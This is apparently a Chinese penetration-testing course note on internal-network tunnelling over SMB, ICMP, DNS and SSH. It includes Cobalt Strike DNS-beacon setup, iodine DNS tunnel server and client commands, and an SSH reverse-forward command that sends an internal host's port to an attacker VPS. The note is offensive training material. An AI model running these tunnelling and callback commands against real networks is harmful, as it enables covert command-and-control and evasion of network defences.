内网渗透-隧道判断-SSH-DNS-icmp-smb-上线linux-mac

1.通道判断

#SMB 隧道&通讯&上线

判断:445 通讯

上线:借助通讯后绑定上线

通讯:直接 SMB 协议通讯即可

#ICMP 隧道&通讯&上线

判断:ping 命令

上线:见前面课程

通讯:其他项目(icmpsh icmptunnel)

https://github.com/esrrhs/spp

https://github.com/bdamele/icmpsh

https://github.com/esrrhs/pingtunnel

#DNS 隧道&通讯&上线

判断:nslookup dig

1、上线环境:内网主机只出网 DNS 协议数据,解决上线

-域名申请及配置

-监听器创建及配置

-后门绑定监听器及生成

2.dns隧道上线

进行域名配置

配置cs

ttx.com 是注册域名

进入会话执行

mode dns-txt

内网主机只出网 DNS 协议数据,解决通讯

https://github.com/yarrick/iodine

判断出网:nslookup www.baidu.com

服务器:设置密码 hzy0 并创建虚拟 IP 及绑定域名指向

iodined -f -c -P hzy0 192.168.0.1 ns1.ttx.com -DD 设置密码 hzy0 并创建虚拟 IP 及绑定域名指向

客户端:连接密码 hzy0 并绑定域名指向

iodine -f -M 200 -P hzy0 ns1.ttx.com

尝试通讯尝试连接: ssh root@192.168.0.2

3.ssh隧道做内网探针

出站规则松懈:

在linux执行

将windows8080端口流量通过ssh隧道提交给vps

ssh -CfNg -R 1234:windwosip:8080 root@vps_ip

入站规则松懈:

4.linux上线cs
相关推荐
微步_ym21 分钟前
RabbitMQ:在Linux上安装RabbitMQ
linux·rabbitmq·erlang
CC.GG42 分钟前
【Linux】倒计时和进度条实现
linux
从零开始学习人工智能1 小时前
Apache Airflow:让复杂工作流自动化变得简单优雅
运维·自动化·apache
Code Warrior1 小时前
【Linux】库的制作与原理(1)
linux
生涯にわたる学び1 小时前
关于之前知识的一些补充 02
linux·arm开发
汐汐咯1 小时前
linux上安装minconda
linux·运维·服务器
小波小波轩然大波2 小时前
Linux服务器配置(mariadb服务器)
linux·服务器·mariadb
忧郁的橙子.2 小时前
k8s 主节点重启后 从节点 get 异常
linux·运维·服务器
Raymond运维2 小时前
Apache介绍和安装
linux·运维·apache
半梦半醒*3 小时前
nginx的访问控制、用户认证、https
linux·运维·服务器·nginx·https·centos